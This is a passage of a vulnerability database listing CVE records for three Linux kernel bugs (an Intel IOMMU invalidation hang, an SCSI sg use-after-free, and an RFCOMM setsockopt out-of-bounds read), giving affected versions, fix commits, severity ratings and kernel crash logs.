                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-17T17:41:17.252617Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-17T17:47:46.218Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-02T00:21:05.551Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/f873b85ec762c5a6abe94a7ddb31df5d3ba07d85"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/d70f1c85113cd8c2aa8373f491ca5d1b22ec0554"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/34a7b30f56d30114bf4d436e4dc793afe326fbcf"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b74b2a92e524d7c8dec8e02e95ecf18b667c062"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/c04f2780919f20e2cc4846764221f5e802555868"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/025bc6b41e020aeb1e71f84ae3ffce945026de05"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/4fc82cd907ac075648789cc3a00877778aa1838b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:50:12.585Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/iommu/intel/pasid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "f873b85ec762c5a6abe94a7ddb31df5d3ba07d85",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "d70f1c85113cd8c2aa8373f491ca5d1b22ec0554",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "34a7b30f56d30114bf4d436e4dc793afe326fbcf",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "2b74b2a92e524d7c8dec8e02e95ecf18b667c062",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "c04f2780919f20e2cc4846764221f5e802555868",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "025bc6b41e020aeb1e71f84ae3ffce945026de05",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            },
            {
              "lessThan": "4fc82cd907ac075648789cc3a00877778aa1838b",
              "status": "affected",
              "version": "6f7db75e1c469057fe7588ed959328ead771ccc7",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/iommu/intel/pasid.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.0"
            },
            {
              "lessThan": "5.0",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.214",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.153",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.83",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.23",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.7.*",
              "status": "unaffected",
              "version": "6.7.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.214",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.153",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.83",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.23",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.7.11",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.2",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "5.0",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niommu/vt-d: Don\u0027t issue ATS Invalidation request when device is disconnected\n\nFor those endpoint devices connect to system via hotplug capable ports,\nusers could request a hot reset to the device by flapping device\u0027s link\nthrough setting the slot\u0027s link control register, as pciehp_ist() DLLSC\ninterrupt sequence response, pciehp will unload the device driver and\nthen power it off. thus cause an IOMMU device-TLB invalidation (Intel\nVT-d spec, or ATS Invalidation in PCIe spec r6.1) request for non-existence\ntarget device to be sent and deadly loop to retry that request after ITE\nfault triggered in interrupt context.\n\nThat would cause following continuous hard lockup warning and system hang\n\n[ 4211.433662] pcieport 0000:17:01.0: pciehp: Slot(108): Link Down\n[ 4211.433664] pcieport 0000:17:01.0: pciehp: Slot(108): Card not present\n[ 4223.822591] NMI watchdog: Watchdog detected hard LOCKUP on cpu 144\n[ 4223.822622] CPU: 144 PID: 1422 Comm: irq/57-pciehp Kdump: loaded Tainted: G S\n         OE    kernel version xxxx\n[ 4223.822623] Hardware name: vendorname xxxx 666-106,\nBIOS 01.01.02.03.01 05/15/2023\n[ 4223.822623] RIP: 0010:qi_submit_sync+0x2c0/0x490\n[ 4223.822624] Code: 48 be 00 00 00 00 00 08 00 00 49 85 74 24 20 0f 95 c1 48 8b\n 57 10 83 c1 04 83 3c 1a 03 0f 84 a2 01 00 00 49 8b 04 24 8b 70 34 \u003c40\u003e f6 c6 1\n0 74 17 49 8b 04 24 8b 80 80 00 00 00 89 c2 d3 fa 41 39\n[ 4223.822624] RSP: 0018:ffffc4f074f0bbb8 EFLAGS: 00000093\n[ 4223.822625] RAX: ffffc4f040059000 RBX: 0000000000000014 RCX: 0000000000000005\n[ 4223.822625] RDX: ffff9f3841315800 RSI: 0000000000000000 RDI: ffff9f38401a8340\n[ 4223.822625] RBP: ffff9f38401a8340 R08: ffffc4f074f0bc00 R09: 0000000000000000\n[ 4223.822626] R10: 0000000000000010 R11: 0000000000000018 R12: ffff9f384005e200\n[ 4223.822626] R13: 0000000000000004 R14: 0000000000000046 R15: 0000000000000004\n[ 4223.822626] FS:  0000000000000000(0000) GS:ffffa237ae400000(0000)\nknlGS:0000000000000000\n[ 4223.822627] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[ 4223.822627] CR2: 00007ffe86515d80 CR3: 000002fd3000a001 CR4: 0000000000770ee0\n[ 4223.822627] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[ 4223.822628] DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\n[ 4223.822628] PKRU: 55555554\n[ 4223.822628] Call Trace:\n[ 4223.822628]  qi_flush_dev_iotlb+0xb1/0xd0\n[ 4223.822628]  __dmar_remove_one_dev_info+0x224/0x250\n[ 4223.822629]  dmar_remove_one_dev_info+0x3e/0x50\n[ 4223.822629]  intel_iommu_release_device+0x1f/0x30\n[ 4223.822629]  iommu_release_device+0x33/0x60\n[ 4223.822629]  iommu_bus_notifier+0x7f/0x90\n[ 4223.822630]  blocking_notifier_call_chain+0x60/0x90\n[ 4223.822630]  device_del+0x2e5/0x420\n[ 4223.822630]  pci_remove_bus_device+0x70/0x110\n[ 4223.822630]  pciehp_unconfigure_device+0x7c/0x130\n[ 4223.822631]  pciehp_disable_slot+0x6b/0x100\n[ 4223.822631]  pciehp_handle_presence_or_link_change+0xd8/0x320\n[ 4223.822631]  pciehp_ist+0x176/0x180\n[ 4223.822631]  ? irq_finalize_oneshot.part.50+0x110/0x110\n[ 4223.822632]  irq_thread_fn+0x19/0x50\n[ 4223.822632]  irq_thread+0x104/0x190\n[ 4223.822632]  ? irq_forced_thread_fn+0x90/0x90\n[ 4223.822632]  ? irq_thread_check_affinity+0xe0/0xe0\n[ 4223.822633]  kthread+0x114/0x130\n[ 4223.822633]  ? __kthread_cancel_work+0x40/0x40\n[ 4223.822633]  ret_from_fork+0x1f/0x30\n[ 4223.822633] Kernel panic - not syncing: Hard LOCKUP\n[ 4223.822634] CPU: 144 PID: 1422 Comm: irq/57-pciehp Kdump: loaded Tainted: G S\n         OE     kernel version xxxx\n[ 4223.822634] Hardware name: vendorname xxxx 666-106,\nBIOS 01.01.02.03.01 05/15/2023\n[ 4223.822634] Call Trace:\n[ 4223.822634]  \u003cNMI\u003e\n[ 4223.822635]  dump_stack+0x6d/0x88\n[ 4223.822635]  panic+0x101/0x2d0\n[ 4223.822635]  ? ret_from_fork+0x11/0x30\n[ 4223.822635]  nmi_panic.cold.14+0xc/0xc\n[ 4223.822636]  watchdog_overflow_callback.cold.8+0x6d/0x81\n[ 4223.822636]  __perf_event_overflow+0x4f/0xf0\n[ 4223.822636]  handle_pmi_common\n---truncated---"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:06:21.150Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/f873b85ec762c5a6abe94a7ddb31df5d3ba07d85"
        },
        {
          "url": "https://git.kernel.org/stable/c/d70f1c85113cd8c2aa8373f491ca5d1b22ec0554"
        },
        {
          "url": "https://git.kernel.org/stable/c/34a7b30f56d30114bf4d436e4dc793afe326fbcf"
        },
        {
          "url": "https://git.kernel.org/stable/c/2b74b2a92e524d7c8dec8e02e95ecf18b667c062"
        },
        {
          "url": "https://git.kernel.org/stable/c/c04f2780919f20e2cc4846764221f5e802555868"
        },
        {
          "url": "https://git.kernel.org/stable/c/025bc6b41e020aeb1e71f84ae3ffce945026de05"
        },
        {
          "url": "https://git.kernel.org/stable/c/4fc82cd907ac075648789cc3a00877778aa1838b"
        }
      ],
      "title": "iommu/vt-d: Don\u0027t issue ATS Invalidation request when device is disconnected",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26891",
    "datePublished": "2024-04-17T10:27:44.061Z",
    "dateReserved": "2024-02-19T14:20:24.186Z",
    "dateUpdated": "2026-05-12T11:50:12.585Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-56631 (GCVE-0-2024-56631)

Vulnerability from cvelistv5 – Published: 2024-12-27 15:02 – Updated: 2026-05-12 12:01

Title

scsi: sg: Fix slab-use-after-free read in sg_release()

Summary

In the Linux kernel, the following vulnerability has been resolved: scsi: sg: Fix slab-use-after-free read in sg_release() Fix a use-after-free bug in sg_release(), detected by syzbot with KASAN: BUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30 kernel/locking/lockdep.c:5838 __mutex_unlock_slowpath+0xe2/0x750 kernel/locking/mutex.c:912 sg_release+0x1f4/0x2e0 drivers/scsi/sg.c:407 In sg_release(), the function kref_put(&sfp->f_ref, sg_remove_sfp) is called before releasing the open_rel_lock mutex. The kref_put() call may decrement the reference count of sfp to zero, triggering its cleanup through sg_remove_sfp(). This cleanup includes scheduling deferred work via sg_remove_sfp_usercontext(), which ultimately frees sfp. After kref_put(), sg_release() continues to unlock open_rel_lock and may reference sfp or sdp. If sfp has already been freed, this results in a slab-use-after-free error. Move the kref_put(&sfp->f_ref, sg_remove_sfp) call after unlocking the open_rel_lock mutex. This ensures: - No references to sfp or sdp occur after the reference count is decremented. - Cleanup functions such as sg_remove_sfp() and sg_remove_sfp_usercontext() can safely execute without impacting the mutex handling in sg_release(). The fix has been tested and validated by syzbot. This patch closes the bug reported at the following syzkaller link and ensures proper sequencing of resource cleanup and mutex operations, eliminating the risk of use-after-free errors in sg_release().

Severity ?

7.8 (High)


                        
                          CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/e19acb1926c4a1f30…
https://git.kernel.org/stable/c/285ce1f89f8d414e7…
https://git.kernel.org/stable/c/198b89dd5a595ee3f…
https://git.kernel.org/stable/c/275b8347e21ab8193…
https://git.kernel.org/stable/c/59b30afa578637169…
https://git.kernel.org/stable/c/1f5e2f1ca5875728f…
https://git.kernel.org/stable/c/f10593ad9bc36921f…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < e19acb1926c4a1f30ee1ec84d8afba2d975bd534 (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < 285ce1f89f8d414e7eecab5ef5118cd512596318 (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < 198b89dd5a595ee3f96e5ce5c448b0484cd0e53c (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < 275b8347e21ab8193e93223a8394a806e4ba8918 (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < 59b30afa578637169e2819536bb66459fdddc39d (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < 1f5e2f1ca5875728fcf62bc1a054707444ab4960 (git) Affected: cc833acbee9db5ca8c6162b015b4c93863c6f821 , < f10593ad9bc36921f623361c9e3dd96bd52d85ee (git) Affected: 3a27c0defb0315760100f8b1adc7c4acbe04c884 (git)
Linux	Linux	Affected: 3.17 Unaffected: 0 , < 3.17 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.66 , ≤ 6.6.* (semver) Unaffected: 6.12.5 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "cvssV3_1": {
              "attackComplexity": "LOW",
              "attackVector": "LOCAL",
              "availabilityImpact": "HIGH",
              "baseScore": 7.8,
              "baseSeverity": "HIGH",
              "confidentialityImpact": "HIGH",
              "integrityImpact": "HIGH",
              "privilegesRequired": "LOW",
              "scope": "UNCHANGED",
              "userInteraction": "NONE",
              "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
              "version": "3.1"
            }
          },
          {
            "other": {
              "content": {
                "id": "CVE-2024-56631",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-02-11T15:41:55.376597Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "problemTypes": [
          {
            "descriptions": [
              {
                "cweId": "CWE-416",
                "description": "CWE-416 Use After Free",
                "lang": "en",
                "type": "CWE"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-02-11T15:45:22.241Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:51:27.036Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:01:23.768Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/sg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "e19acb1926c4a1f30ee1ec84d8afba2d975bd534",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "285ce1f89f8d414e7eecab5ef5118cd512596318",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "198b89dd5a595ee3f96e5ce5c448b0484cd0e53c",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "275b8347e21ab8193e93223a8394a806e4ba8918",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "59b30afa578637169e2819536bb66459fdddc39d",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "1f5e2f1ca5875728fcf62bc1a054707444ab4960",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "lessThan": "f10593ad9bc36921f623361c9e3dd96bd52d85ee",
              "status": "affected",
              "version": "cc833acbee9db5ca8c6162b015b4c93863c6f821",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "3a27c0defb0315760100f8b1adc7c4acbe04c884",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/scsi/sg.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "3.17"
            },
            {
              "lessThan": "3.17",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.66",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.5",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.66",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.5",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "3.17",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "3.16.85",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: sg: Fix slab-use-after-free read in sg_release()\n\nFix a use-after-free bug in sg_release(), detected by syzbot with KASAN:\n\nBUG: KASAN: slab-use-after-free in lock_release+0x151/0xa30\nkernel/locking/lockdep.c:5838\n__mutex_unlock_slowpath+0xe2/0x750 kernel/locking/mutex.c:912\nsg_release+0x1f4/0x2e0 drivers/scsi/sg.c:407\n\nIn sg_release(), the function kref_put(\u0026sfp-\u003ef_ref, sg_remove_sfp) is\ncalled before releasing the open_rel_lock mutex. The kref_put() call may\ndecrement the reference count of sfp to zero, triggering its cleanup\nthrough sg_remove_sfp(). This cleanup includes scheduling deferred work\nvia sg_remove_sfp_usercontext(), which ultimately frees sfp.\n\nAfter kref_put(), sg_release() continues to unlock open_rel_lock and may\nreference sfp or sdp. If sfp has already been freed, this results in a\nslab-use-after-free error.\n\nMove the kref_put(\u0026sfp-\u003ef_ref, sg_remove_sfp) call after unlocking the\nopen_rel_lock mutex. This ensures:\n\n - No references to sfp or sdp occur after the reference count is\n   decremented.\n\n - Cleanup functions such as sg_remove_sfp() and\n   sg_remove_sfp_usercontext() can safely execute without impacting the\n   mutex handling in sg_release().\n\nThe fix has been tested and validated by syzbot. This patch closes the\nbug reported at the following syzkaller link and ensures proper\nsequencing of resource cleanup and mutex operations, eliminating the\nrisk of use-after-free errors in sg_release()."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:56:13.310Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/e19acb1926c4a1f30ee1ec84d8afba2d975bd534"
        },
        {
          "url": "https://git.kernel.org/stable/c/285ce1f89f8d414e7eecab5ef5118cd512596318"
        },
        {
          "url": "https://git.kernel.org/stable/c/198b89dd5a595ee3f96e5ce5c448b0484cd0e53c"
        },
        {
          "url": "https://git.kernel.org/stable/c/275b8347e21ab8193e93223a8394a806e4ba8918"
        },
        {
          "url": "https://git.kernel.org/stable/c/59b30afa578637169e2819536bb66459fdddc39d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1f5e2f1ca5875728fcf62bc1a054707444ab4960"
        },
        {
          "url": "https://git.kernel.org/stable/c/f10593ad9bc36921f623361c9e3dd96bd52d85ee"
        }
      ],
      "title": "scsi: sg: Fix slab-use-after-free read in sg_release()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-56631",
    "datePublished": "2024-12-27T15:02:29.428Z",
    "dateReserved": "2024-12-27T15:00:39.838Z",
    "dateUpdated": "2026-05-12T12:01:23.768Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-35966 (GCVE-0-2024-35966)

Vulnerability from cvelistv5 – Published: 2024-05-20 09:41 – Updated: 2026-05-12 11:53

Title

Bluetooth: RFCOMM: Fix not validating setsockopt user input

Summary

In the Linux kernel, the following vulnerability has been resolved: Bluetooth: RFCOMM: Fix not validating setsockopt user input syzbot reported rfcomm_sock_setsockopt_old() is copying data without checking user input length. BUG: KASAN: slab-out-of-bounds in copy_from_sockptr_offset include/linux/sockptr.h:49 [inline] BUG: KASAN: slab-out-of-bounds in copy_from_sockptr include/linux/sockptr.h:55 [inline] BUG: KASAN: slab-out-of-bounds in rfcomm_sock_setsockopt_old net/bluetooth/rfcomm/sock.c:632 [inline] BUG: KASAN: slab-out-of-bounds in rfcomm_sock_setsockopt+0x893/0xa70 net/bluetooth/rfcomm/sock.c:673 Read of size 4 at addr ffff8880209a8bc3 by task syz-executor632/5064

Severity ?

No CVSS data available.

Assigner

Linux

References

6 references

URL	Tags
https://git.kernel.org/stable/c/d072ea24748189cd8…
https://git.kernel.org/stable/c/00767fbd67af70d7a…
https://git.kernel.org/stable/c/eea40d33bf936a5c7…
https://git.kernel.org/stable/c/4ea65e2095e9bd151…
https://git.kernel.org/stable/c/c3f787a3eafe519c9…
https://git.kernel.org/stable/c/a97de7bff13b1cc82…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < d072ea24748189cd8f4a9c3f585ca9af073a0838 (git) Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < 00767fbd67af70d7a550caa5b12d9515fa978bab (git) Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < eea40d33bf936a5c7fb03c190e61e0cfee00e872 (git) Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < 4ea65e2095e9bd151d0469328dd7fc2858feb546 (git) Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < c3f787a3eafe519c93df9abbb0ca5145861c8d0f (git) Affected: bb23c0ab824653be4aa7dfca15b07b3059717004 , < a97de7bff13b1cc825c1b1344eaed8d6c2d3e695 (git)
Linux	Linux	Affected: 2.6.30 Unaffected: 0 , < 2.6.30 (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.178 , ≤ 5.15.* (semver) Unaffected: 6.1.107 , ≤ 6.1.* (semver) Unaffected: 6.6.47 , ≤ 6.6.* (semver) Unaffected: 6.8.7 , ≤ 6.8.* (semver) Unaffected: 6.9 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-35966",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-05-28T19:28:34.251629Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-04T17:33:49.290Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
